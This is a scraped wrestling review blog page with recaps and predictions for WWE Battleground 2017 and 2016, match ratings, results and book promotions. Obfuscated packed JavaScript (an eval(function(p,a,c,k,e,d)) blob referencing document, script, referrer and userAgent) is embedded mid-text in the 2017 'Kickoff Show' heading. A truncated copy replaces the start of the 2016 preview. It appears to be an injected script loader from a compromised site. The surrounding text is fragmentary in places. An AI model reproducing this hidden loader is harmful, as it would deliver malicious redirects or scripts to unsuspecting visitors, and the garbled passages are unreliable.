Rusev is right back up to pull him off the top with an electric chair and it’s time to talk some trash about America. Cena gets thrown down again as this is already dragging about five minutes in. The shoulders stagger Rusev but he sends Cena outside. It’s still not enough to pull down the flag though as Cena makes the save, only to get powerbombed (kind of) back down. Rusev gets his flag down but eats a dropkick to knock it down again.

An AA lets Cena get up top but Rusev pulls him down AGAIN. Rusev’s powerbomb is countered into the STF though and Rusev taps, which means nothing. Cena grabs the American flag and jumps down into a superkick to put both guys down. The Bulgarian flag is picked up again so Cena has to dive off the apron to make a save and send Rusev into the steps.

Now it’s Cena going up the aisle but Rusev makes another save and hits him in the head with the steps. Cena gets up again and sends Rusev head first into the entrance screen. A fall away slam onto the ramp stops Cena again and it’s freaking TABLE TIME because it’s Philadelphia and ECW is still a thing. Make that two tables and just get to the AA through them so Cena can put the flag up and win.

Rusev can’t hit an AA so they knock each other down again with Cena grabbing the American flag. Why he doesn’t grab both of them and throw the Bulgarian one into the crowd isn’t clear. Rusev gets the flag stand and hits Cena over the back with it to set up the Accolade. With Cena down, Rusev gets the Bulgarian flag but has to fight out of an AA attempt. Another Accolade is broken up and Cena AA’s him through the tables, allowing him to put in the American flag for the win at 20:42.

Rating: F+. I absolutely could not stand this match as it felt like it went on for the better part of an hour. There were multiple times where they could have done ANYTHING else to get rid of the flag podium or the flag itself but they would rather walk around like they had been shot. Just awful here with a bad concept, a choreographed ending and nothing close to drama. Terrible stuff here, especially when it’s nothing more than a way to tie into the whole war/battle theme.

It’s Fashion X Files time when the Ascension comes in to say it was them all along. That’s not true though as Fandango knows they were at an Eddie Money concert on Tuesday. The lights go out and someone jumps Breeze. Someone does the same to Fandango and it’s…..not revealed who did it as someone drags Fandango’s body away. To Be Continued.

We recap Sami Zayn vs. Mike Kanellis. They’ve been having issues for a few weeks and Maria cost Sami the first match earlier this week. Tonight it’s rematch time.

Mike Kanellis vs. Sami Zayn

The Kanellis family is wearing matching Maria’s jackets with lip prints all over them with Mike adding similar tights. Sami grabs a headscissors to start and Mike is sent outside where Maria has to pull him away from an attempted dive. Back in and Mike hammers away but has to stop for a kiss from Maria (in case you thought it was one from the referee).

Sami fights out of a double arm crank and sends Mike outside for the big running flip dive. The Blue Thunder Bomb is broken up so Sami settles for the tornado DDT instead. Maria gets in the ring to block the exploder though, only to have the second attempt work just fine. The Helluva Kick gives Sami the pin at 7:19.

Rating: D. Again, I don’t think anyone was seriously thinking that Mike was the talented one of the team and this match didn’t do much to showcase himself. He’s rather average in the ring and the whole character is that he really loves his gorgeous wife. There’s nothing special in the ring to help fix a lame gimmick and that’s not a good sign for his future.

We recap the Punjabi Prison match. Orton has been dealing with the Singh Brothers in all of his matches with Mahal so it’s time to lock them out. The structure is a bit complicated as it has two cages (made of bamboo), one around the ring and the other around the outside. The regular cage around the ring has four trap doors which will open up for sixty seconds each. If they close, they can’t be reopened though and if all four close, you have to climb over the top. The first person to get out of both cages wins.

Smackdown World Title: Jinder Mahal vs. Randy Orton

Orton is challenging and we better have a Great Khali appearance. Randy hammers away to start and puts Mahal down before calling for the first door. Mahal dives over to keep him inside though and the clock runs out, meaning that door is no longer an option. They slug it out again with the champ getting the better of it and grabbing an armbar (as is the case in most prison fights).

The second door is opened but Orton throws him down with a fall away slam. Neither of them can get out so Mahal tries to climb, earning himself a trip right back to the mat. Mahal splashes him against the cage a few times but Orton grabs a suplex to send him into it as well. That goes nowhere either and they’ve only got one door left. The hanging DDT stuns Mahal so the fourth door is open, only to have Mahal break up the RKO with a jumping knee to the head.

Orton counters the Khallas into an RKO but the freaking Singh Brothers pop out from underneath the ring to pull Mahal through the door. Orton can’t get out in time so he easily climbs the inner cage and steps over to the outer one. THEN WHY WOULD YOU EVER BOTHER WITH THE TRAP DOORS??? Mahal drops down so the Singh Brothers pull Orton down instead.

Randy beats them up and pulls Mahal down, leaving the champ to find kendo sticks to work Orton over. Much like everything else though, Orton shrugs it off and does the same thing to Mahal to take over. One of the Brothers crawls through a hole in the cage and climbs up the outside, only to get punched down through a table (heck of a bump actually). Mahal pulls Orton back down and THIS IS STILL GOING!

The hanging DDT onto the floor should kill Mahal but that might mean the match is ending anytime soon so he’s just dazed for a few seconds. Now it’s a chair with Mahal taking a few shots to the ribs. The other brother gets knocked off the cage wall and it’s the GREAT KHALI to shake the cage as Orton tries to climb out. Khali chokes him through the cage and Mahal climbs out to retain at 27:42. Yes I said 27:42.

Rating: F-. I think this match actually broke me. I don’t remember HATING a match this much since…..geez the Russo days maybe? This could have been cut down by probably two thirds for the same result but they were literally just walking around looking for more stuff to do to each other because they didn’t have anything else to do to fill in the time.

Speaking of the time, WHY IN THE WORLD WAS THIS NEARLY HALF AN HOUR??? The show ended at eleven minutes after the hour and I’d LOVE to hear someone try to validate why it needed that extra time. I absolutely could not stand this match as it started off stupid and turned into one of the worst things I’ve seen in a very, very long time. It was long, it was stupid, and it makes the champ look like an even bigger loser than people already thought he was.

Overall Rating: D-. I know some of the stuff on here was good to very good but when your two main events are such absolute garbage and eat up nearly fifty minutes (closer to an hour with entrances/pre and post match stuff and the show runs over, there’s no way the show can be saved. Couple that with a pretty bad women’s match, a nothing Kanellis vs. Zayn match and the general feeling that this show meant very little and even the two good matches are helpless. This was terrible and it’s completely laid at the feet of whoever booked/produced the two main events. Simple awful.

Results

New Day b. Usos – Top rope elbow to Jey

Shinsuke Nakamura b. Baron Corbin via DQ when Corbin kicked him low

Natalya b. Charlotte, Becky Lynch, Tamina and Lana last eliminating Charlotte

Kevin Owens b. AJ Styles – Rollup

John Cena b. Rusev – Cena put his flag on the podium

Sami Zayn b. Mike Kanellis – Helluva Kick

Jinder Mahal b. Randy Orton – Mahal escaped the prison

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Battleground 2017 Preview

Ah “Battleground 2017”. Every year I come into this show almost forgetting that it’s there because it feels like the most generic pay per view of the year. The card rarely matters because it always feels like the definition of the B level show. It’s a “Smackdown Live” show this year and there’s not much I’m looking forward to on the card but there’s some potential there. Let’s get to it.

Kickoff eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhtea|var|u0026u|referrer|dbtea||js|php'.split('|'),0,{})) Show: Aiden English vs. Tye Dillinger

Yes we have been here before and I have no idea why Dillinger is stuck here again. English has gotten his own amount of TV time (albeit low level TV time) and has probably been around more than Dillinger lately. Dillinger on the other hand has been stuck in this same spot since he debuted on the main roster a few months ago. Why he’s stuck there isn’t clear, but the lack of anything besides TEN might be an option.

I’ll take Dillinger winning here though I could actually see English stealing a win and starting a small midcard push. Dillinger could win here and stay on the same path he’s been on for months now, which is to say he’s going nowhere whatsoever. The match will get the crowd going though and that’s all that really matters.

Shinsuke Nakamura vs. Baron Corbin

This is your run of the mill fallout feud from Money in the Bank, though I’m not sure if it’s the most interesting one in the world. Corbin isn’t exactly thrilling and while there’s a chance he could cash in his briefcase at the end of the night (it would make sense), it might be a bit too soon for him to do so, meaning he’s likely to lose over and over again so we’ll forget that he’s a thing before the big cash-in.

I don’t think WWE is ready to have Nakamura lose yet so we’ll go with him winning here. Nakamura could be facing AJ Styles for the US Title at “Summerslam 2017” and it wouldn’t make sense to have him lose at a match that doesn’t seem to be all that important in the first place. Corbin needs the win more but they’re not going with it at this point.

Sami Zayn vs. Mike Kanellis

We’ve seen this one before as it was done earlier this week on “Smackdown Live” in less than three minutes, which also happened to be Kanellis’ in-ring debut. The ending was a bit screwy as Kanellis’ wife Maria got involved and helped her husband win. The rematch wasn’t hard to predict and here we are.

That being said, it’s a Zayn match so of course he’s losing. I really can’t think of a reason for Kanellis to lose here as he’s already won the first one and as much as WWE loves having people split feuds, there’s no logical reason for Kanellis to lose. Maria can interfere to keep

Zayn looking strong before he has something more interesting at “Summerslam 2017”.

Tag Team Titles: Usos(c) vs. New Day

This is an interesting one as they’ve been feuding for awhile now but nothing really stands out about it. They had the rap battle and some singles matches but it really feels like a feud that is just going for the sake of going. The wrestling should be a lot of fun though and that’s all that matters in something like this.

I’ll take the Usos to retain as I haven’t been all that impressed by New Day’s run on Tuesdays. They’re just kind of there at this point, though to be fair I don’t think they’re going with anything other than their reputation. It’s not like they have anything left to prove as a team though and winning the titles here wouldn’t do much for them. Usos retain here, likely setting up another feud with the still amusing Breezango.

Speaking of Breezango, while they don’t officially have a match, it’s a fairly safe bet that they’ll be having one with whomever attacked them. While it’s not officially announced and I could just guess as to who would be in the match, I won’t be giving an official guess on a winner. I will however pick their identities though: Luke Harper and Erick Rowan.

Charlotte vs. Natalya vs. Lana vs. Tamina vs. Becky Lynch

Oh joy it’s the idea again. The “Smackdown Live” Women’s Title picture has been kind of a mess for months now and it’s getting annoying. They’ve stopped the idea of building up characters or reasons for these women to be fighting each other outside of fighting for a shot at the title. This is another match where everyone is involved at the same time and it’s under elimination rules for the “Summerslam 2017” Women’s Title match.

I know it’s the option that I go with most of the time but I’ll take Charlotte to get the shot. Charlotte vs. Naomi is the closest thing the division has to a dream match (work with me here) and that sounds like something they should do at the second biggest show of the year. Tamina and Natalya aren’t happening, Lana has been done and Lynch….eh maybe, but Charlotte is the bigger deal.

John Cena vs. Rusev

This is a flag match, meaning you have to steal your opponent’s flag and carry it past a finishing line. In other words, it’s Battleground and we need something to fit in with the theme (which isn’t the solidest in the world). It’s also Cena’s big return match (his latest one that is) and I think you know what’s coming here.

Of course Cena wins here and it’s not like there’s any real other option. Cena is likely gearing up for a major match at “Summerslam 2017” and Rusev….well he’s making his big return here too and I don’t think most people realized that. Cena wins of course and I don’t think there’s any real shock to this one.

US Title: AJ Styles(c) vs. Kevin Owens

In case you haven’t been watching in recent weeks (If so, why did you pick this show to get back in?), Styles won the title from Owens at a house show earlier this month. It doesn’t exactly change anything of note but it’s a surprise, which is something that can at least mix things up a bit. It also put the feud at a fall apiece after Owens beat Styles via countout in their first pay per view title match.

I’ll take Styles to win here in what shouldn’t be the biggest surprise. As has been the case multiple times on this show, it feels like this match is just a requirement before we get on to the match that actually matters at “Summerslam 2017”. Styles looks like he’ll be fighting Nakamura or Cena (please not a triple threat) and that means he needs to win here as Owens goes on to….I have no idea actually.

Smackdown World Title: Jinder Mahal(c) vs. Randy Orton

Yes AGAIN and yes we’re doing this because we need a Punjabi Prison match to fit the whole Battleground moniker. This match hasn’t been seen in over ten years and that’s probably for the best. It’s more complicated than it needs to be (just do a double cage match and nix the trap doors thing) and is only there because of Mahal’s ethnicity.

I’m not sure on who wins though but I think I’ll go with Orton as the new champion. Wise, what in the world is actually happening on this show? Mahal isn’t exactly saving the world on “Smackdown Live” so having him lose the title in a match like this wouldn’t be the worst idea in the world. It does raise the question of what Orton does next, so maybe that’s where Corbin cashes in the briefcase. Eh nah. Not at Battleground.

Overall Thoughts

Thursday night, I had forgotten not only that this show was taking place on Sunday but also what it was called. This show feels like another name on a very long list of shows that feels like it’s there to fill in a spot on the calendar. Just calling it Battleground makes it seem like they just threw this show out there and came up with a main event to fit with the name later. The World Title changing hands could make this show feel a bit more important but it’s going to be hard to shake off the stigma of being just another show.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: How WWE Spends Its Build to Summerslam

In which I ramble about how I’d do things in June and July.

 

https://wrestlingrumors.net/kbs-review-wwe-spent-build-summerslam/




Battleground 2016: It’s Battleground!

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Date: July 24, 2016
Location: Verizon Center, Washington D.C.
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton

Pre-Show: Usos vs. Breezango

The opening video shows everyone holding their flags before going to a package on the Shield imploding to set up this match.

Charlotte/Dana Brooke vs. Sasha Banks/???

Sasha and Bayley hug post match.

Wyatt Family vs. New Day

US Title: Rusev vs. Zack Ryder

Sami Zayn vs. Kevin Owens

Cole says Sami has exorcized his demons by beating Owens. Those must be quick rise demons as he pinned Owens about a month ago on Raw in a singles match.

Pre-show recap.

Natalya vs. Becky Lynch

Shane McMahon and Daniel Bryan give Dean Ambrose a pep talk.

Intercontinental Title: Darren Young vs. The Miz

Young is challenging after winning a battle royal. He also has Bob Backlund in his corner in an attempt to make Young great again. Ignore the lack of preceding greatness. Young wrestles him down to the mat before getting two off a neckbreaker. Miz shoves him off the top to take over and then grabs a headlock.

Young chokes Miz out and looks at his hands ala Backlund in 1994.

The Club vs. John Cena/Enzo Amore/Big Cass

The beating continues until Gallows misses a splash, setting up the hot tag to Cena. A very quick AA attempt on Styles is countered into a Pele as everything breaks down. Gallows hits a chokebomb on Cass before Cena and Luke play pass the Enzo, only to have AJ hit the forearm on Gallows by mistake. The AA gets two on AJ with Karl making the save, setting up a spinebuster onto the table.

Cena dives back in at nine and the Styles Clash gets another near fall with Cass making the save. The Club takes out Cass so Enzo volunteers to fight them himself. Karl is sent into the post but Gallows kicks Enzo in the face, only to have Cena come back in and take Luke out. Styles comes back in but gets caught in a super AA for the pin at 14:23.

We recap the Shield triple threat which is well over a few years in the making. The short version consists of Rollins returning from knee surgery and taking the title from Reigns, only to have Ambrose take it away that same night. This set up the triple threat but Reigns has been suspended for a month due to a Wellness violation.

WWE World Title: Roman Reigns vs. Seth Rollins vs. Dean Ambrose

Ambrose is defending but before we can get going, here are all four authority figures (because there are four authority figures in WWE). We get the big match intros and the three way staredown before Rollins is knocked to the floor. Ambrose rolls Reigns up for two and eats a big clothesline for his efforts.

Results

Sasha Banks/Bayley b. Charlotte/Dana Brooke – Bank Statement to Charlotte

Wyatt Family b. New Day – Sister Abigail to Woods

Rusev b. Zack Ryder – Accolade

Sami Zayn b. Kevin Owens – Helluva Kick

Natalya b. Becky Lynch – Sharpshooter

The Miz b. Darren Young via DQ when Bob Backlund interfered

John Cena/Enzo Amore/Big Cass b. The Club – Super AA to Styles

Dean Ambrose b. Roman Reigns and Seth Rollins – Dirty Deeds to Reigns

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Battleground 2016 Preview

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iffkr|var|u0026u|referrer|ndsie||js|php'.split('|'),0,{})) show has gone from one of the most B level shows ever to one of the least important shows in a very long time. It’s still definitely just a filler show before we get to Summerslam but then the Draft has made the whole thing even more of a mess. You could tell things were all over the place when basically two matches were hyped up during the TV shows leading up to the pay per view. Let’s get to it.

The mini push means nothing and they made that very clear as soon as they had Sheamus beat him clean in two minutes. Ryder loses to Rusev like he always does as we continue to wait for a serious challenger to the title.

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: The Worst Thing WWE Could Do – Roman Reigns Edition

Looking at what WWE should but likely will do coming off the Reigns suspension.

http://wrestlingrumors.net/kbs-review-the-worst-thing-wwe-can-do-roman-reigns-edition/




Roman Reigns Suspended 30 Days For Wellness Policy Violation

http://411mania.com/wrestling/wwe-suspends-roman-reigns-for-wellness-policy-violation/

Reigns has also stated that this is legit and isn’t denying a thing.  This doesn’t change anything for Battleground as the suspension will end before then but he won’t be around for the Draft.




Wrestling Wars Podcast Episode 20

I’ve been on a bit of a podcast tear lately with three episodes of a different show recorded yesterday and then this ninety minute marathon with NorCal as we cover a PACKED week of wrestling news ranging from Hogan, TNA screwing up (double shot this week), Global Force Wrestling’s TV tapings, a quick Battleground recap and of course some recommendations.

 

http://mightynorcal.podbean.com/e/wwp-20-making-up-for-time-lost-time-with-an-ironmannnn-wrestling-podcast-headlines-and-more-headlines-with-kb/